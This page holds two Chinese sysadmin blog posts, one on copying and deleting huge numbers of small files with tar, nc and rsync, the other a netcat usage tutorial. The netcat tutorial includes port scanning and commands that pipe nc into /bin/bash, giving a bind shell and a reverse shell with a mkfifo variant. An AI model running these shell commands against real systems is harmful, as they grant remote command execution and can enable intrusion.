Linux快速复制或删除大量小文件

前言公司需要输送给网安部一批数据集,共计1550w张图片,大约3,5T。 处理过程中同时参考网上的一些方法的实践总结。1:快速大量小文件复制a. 本机不同磁盘之间复制:复制目录$ tar cvf – /home/src_dir | tar xvf – -C /opt复制文件$ tar cf – access.log |tar xf – -C /optTips:快速tar打包的一些小技巧以及常用的tar使用tar 快速打包(仅打包不压缩传输比较快)step1:从文件中生成文件列表$ find . -name ‘.jpg’ -print > jpg.txt*** 匹配多个后缀格式$ find . -regex ‘..png|..jpeg|.*.jpg’ -print >jpg.txt若生成的文件列表比较大,可以借助split拆分成小文件进行并行打包. 若文件数较小,可忽略此步骤。#将 文件 jpg.txt 分成若干个小文件,每个文件500000行(-l 500000),文件前缀为xiu_ ,系数不是字母而是 数字(-d),后缀系数为四位数(-a 4)$ split -l 500000 ../ jpg.txt -d -a 4 xiu_step2: tar怎么从文件中读取文件列表呢?查了很久,用 -T-T, –files-from F get names to extract or create from file Ftips: 注意这里不要加 -v参数啦,对于大量文件,控制台输出是很浪费时间的…$ tar -czf jpg.tar.gz -T yourfile **** 不压缩的话,可以直接打包, 比较快。$ tar -cf jpg.tar.gz -T yourfile tar 常用的一些命令解包 $ tar xvf FileName.tar ## 或者 不输出文件,比较快 $ tar xf FileName.tar 不解包查看打包内容$ tar tvf FileName.tar 不解包统计打包内容文件数以及文件夹### 统计文件数$ tar tvf FileName.tar |grep “^-"|wc -l### 统计文件加$ tar tvf FileName.tar |grep “^d”|wc -lb. 跨网络不同主机之间复制 tar+nc:思路:在网络环境中传输时,打包再结合nc命令,通过管道和tcp端口进行传输。 比如 A往B主机传输数据i. 在机器B上,用nc来监听一个端口,任意都行,只要不被占用;并且将收到的数据用tar展开。-l代表监听模式。 $ nc -l 34183 |tar -C /data1datasets/norm/ -zxf -ii. 接着,在A上通过nc和 tar发送data_01目录。使用一致的34183的端口。 $ tar -zcvf - data_01 |nc 192.168.0.1 341832:快速删除大量小文件 或者 大文件2.1: 快速删除大量小文件rsync提供了一些跟删除相关的参数 rsync –help | grep delete –del an alias for –delete-during –delete delete files that don’t exist on the sending side –delete-before receiver deletes before transfer (default) –delete-during receiver deletes during transfer, not before –delete-after receiver deletes after transfer, not before –delete-excluded also delete excluded files on the receiving side –ignore-errors delete even if there are I/O errors –max-delete=NUM don’t delete more than NUM files 其中–delete-before 接收者在传输之前进行删除操作 可以用来清空目录或文件,如下: 1. 建立一个空目录 mkdir -p /del_blank 2. 确立需要清空的目标目录 /del_data 3. 使用rsync同步删除(注意目录后面的“/”),整体效率会快一个数量级的样子。 rsync –delete-before -a -H -v –progress –stats /del_blank /del_data 选项说明: –delete-before 接收者在传输之前进行删除操作 –progress 在传输时显示传输过程 -a 归档模式,表示以递归方式传输文件,并保持所有文件属性 -H 保持硬连接的文件 -v 详细输出模式 -stats 给出某些文件的传输状态 一般我们不需要显示进度,使用以下命令即可 rsync –delete-before -a -H /del_blank /del_data 这样我们要删除的 del_data目录就会被清空了2.2: 快速删除大文件如何删除特别大的文件(数量级),比如nohup.out这样的实时更新的文件,动辄都是几十个G上百G的,也可 以用rsync来清空大文件,而且效率比较高 。1、创建空文件 touch /data/blank.txt 2、用rsync清空文件 rsync -a –delete-before –progress –stats /data/blank.txt ./nohup.out building file list … 1 file to consider blank.txt 0 100% 0.00kB/s 0:00:00 (xfer#1, to-check=0/1) Number of files: 1 Number of files transferred: 1 Total file size: 0 bytes Total transferred file size: 0 bytes Literal data: 0 bytes Matched data: 0 bytes File list size: 27 File list generation time: 0.006 seconds File list transfer time: 0.000 seconds Total bytes sent: 73 Total bytes received: 31 sent 73 bytes received 31 bytes 208.00 bytes/sec total size is 0 speedup is 0.00 ** tips: 当SRC和DEST文件性质不一致时将会报错 当SRC和DEST性质都为文件【f】时,意思是清空文件内容而不是删除文件 当SRC和DEST性质都为目录【d】时,意思是删除该目录下的所有文件,使其变为空目录 最重要的是,它的处理速度相当快,处理几个G的文件也就是秒级的事 最核心的内容是:rsync实际上用的就是替换原理参考链接:https://blog.csdn.net/xiaoyi2…https://www.cnblogs.com/tryin...http://www.voidcn.com/article… ...

February 27, 2019 · 2 min · jiezi

netcat 命令详解

简介转载注明出处,原文在此 https://segmentfault.com/a/11...netcat 是一款调试 TCP/UDP 网络连接的利器,常被称作网络调试的瑞士军刀,可见其功能强大。netcat 在 Linux, Windows 等各大操作系统上都有对应等发行版,以下以 Linux(Ubuntu 16.04) 为例介绍其几个强大的用法。netcat 在 Linux 中一般通过命令 nc 调用。我们先来看下它的帮助文档# nc -hOpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)This is nc from the netcat-openbsd package. An alternative nc is availablein the netcat-traditional package.usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length] [-P proxy_username] [-p source_port] [-q seconds] [-s source] [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port] Command Summary: -4 Use IPv4 -6 Use IPv6 -b Allow broadcast -C Send CRLF as line-ending -D Enable the debug socket option -d Detach from stdin -h This help text -I length TCP receive buffer length -i secs Delay interval for lines sent, ports scanned -j Use jumbo frame -k Keep inbound sockets open for multiple connects -l Listen mode, for inbound connects -n Suppress name/port resolutions -O length TCP send buffer length -P proxyuser Username for proxy authentication -p port Specify local port for remote connects -q secs quit after EOF on stdin and delay of secs -r Randomize remote ports -S Enable the TCP MD5 signature option -s addr Local source address -T toskeyword Set IP Type of Service -t Answer TELNET negotiation -U Use UNIX domain socket -u UDP mode -V rtable Specify alternate routing table -v Verbose -w secs Timeout for connects and final net reads -X proto Proxy protocol: “4”, “5” (SOCKS) or “connect” -x addr[:port] Specify proxy address and port -Z DCCP mode -z Zero-I/O mode [used for scanning] Port numbers can be individual or ranges: lo-hi [inclusive]可以看到我们使用的是 netcat-openbsd 这个发行版的 netcat, 除此之外,还有 netcat-traditional 等发行版。不同发行版的基本功能相同,只是有细微的差别。简单来说, nc 有以下功能:模拟 TCP 服务端模拟 TCP 客户端模拟 UDP 服务端模拟 UDP 客户端模拟 UNIX socket 服务端模拟 UNIX socket 客户端端口扫描传输文件将服务器 bash 暴露给远程客户端内网穿透,反向获取防火墙后的机器的 bash以下分别举例说明。实例环境设定假设服务器 A 有外网 IP 202.118.69.40服务器 B 没有外网 IP客户端 C 有外网 IP 202.119.70.41三台主机上均为 Ubuntu 16.04 操作系统。TODO 网络拓扑图1 模拟 TCP 服务端nc -lk 9090在服务器 A 执行以上命令,将会把 nc 绑定到 9090 端口,并开始监听请求。-l 代表 netcat 将以监听模式运行; -k 表示 nc 在接收完一个请求后不会立即退出,而是会继续监听其他请求。这时就可以请求该接口了, nc 会把请求报文输出到标准输出。例如在客户端 C 执行 curl 202.118.69.40nc 将会将 HTTP 请求的报文输出到标准输出GET / HTTP/1.1Host: 192.168.0.71:9090User-Agent: curl/7.54.0Accept: */*2 模拟 TCP 客户端printf “GET / HTTP/1.1\r\nHost: example.com\r\n\r\n” | nc example.com 80在客户端 C 执行上述代码,C 的输出如下Connection to example.com port 80 [tcp/http] succeeded!HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=604800Content-Type: text/html; charset=UTF-8Date: Tue, 09 Oct 2018 07:08:38 GMTEtag: “1541025663+gzip"Expires: Tue, 16 Oct 2018 07:08:38 GMTLast-Modified: Fri, 09 Aug 2013 23:54:35 GMTServer: ECS (sjc/4E52)Vary: Accept-EncodingX-Cache: HITContent-Length: 1270<!doctype html><html><head> <title>Example Domain</title> <meta charset=“utf-8” /> <meta http-equiv=“Content-type” content=“text/html; charset=utf-8” /> <meta name=“viewport” content=“width=device-width, initial-scale=1” /> <style type=“text/css”> …</head><body><div> <h1>Example Domain</h1> <p>This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission.</p> <p><a href=“http://www.iana.org/domains/example">More information…</a></p></div></body></html>证明客户端模拟成功,给 example.com 发送了 HTTP Method 为 GET 的 HTTP 请求。3 模拟 UDP 服务端在 A 执行nc -lk -u 90904 模拟 UDP 客户端在 C 执行nc -u 202.118.69.40 9090此时在客户端终端中输入任意字符,将在 A 的终端中输出同样的字符,证明 UDP 服务端和客户端模拟成功。5 模拟 UNIX socket 服务端在 A 执行nc -Ul /tmp/mync.sock6 模拟 UNIX socket 客户端在 A 执行(UNIX 默认不能跨服务器)nc -U /tmp/mync.sock此时在该终端中输入任意字符,将在第5步的终端中输出同样的字符,证明 Unix socket 服务端和客户端模拟成功。7 端口扫描nc -vz 202.118.69.40 1-81 2>&1|grep succeed-z 指 Zero-I/O mode,即连接的过程中禁用输入输出,仅用与端口扫描。2>&1|grep succeed 默认情况下扫描过程中,不论成功与失败,扫描结果都被输出到了“标准错误输出”,该命令用来过滤,仅显示出打开到端口。上述指令输出结果如下:Connection to 202.118.69.40 22 port [tcp/ssh] succeeded!Connection to 202.118.69.40 53 port [tcp/domain] succeeded!Connection to 202.118.69.40 80 port [tcp/http] succeeded!8 传输文件8.1 向服务器上传图片服务器 A 监听 9090 端口nc -l 9090 | base64 -d > WechatIMG88.jpeg客户端上传图片base64 WechatIMG88.jpeg | nc 202.118.69.40 9090注:因为需要传输图片,所以先 base64 编码,然后下载完再解码避免终端错乱。8.2 从服务器下载图片服务器 A 监听 9090 端口,并将要下载的图片输出到 ncbase64 WechatIMG88.jpeg | nc -l 9090客户端下载nc -t 202.118.69.40 9090|base64 -D > w.jpeg9 将服务器 bash 暴露给远程客户端与 7 类似,只不过服务端将接收到到内容管道给 /bin/bash然后在客户端输入要敲的命令nc -l 9090 | /bin/bash10 内网穿透,反向获取防火墙后的机器的 bash与 8 类似,只不过服务器 B 将内容管道给 /bin/bash在客户端 A 打开监听nc -l 9090在服务器 C 上执行以下代码反向接受命令nc -t 202.119.70.41 9090 | /bin/bash然后在客户端 A 输入要执行的命令即可。需要注意的是,使用上述命令远程执行命令时在客户端无法看到命令的返回结果。通过创建命名管道的方式,可将 bash 执行的结果回传给 netcat,具体命令如下(在服务器 C 执行代码):mkfifo ncpipenc -t 202.119.70.41 9090 0<ncpipe| /bin/bash 1>ncpipe ...

October 10, 2018 · 3 min · jiezi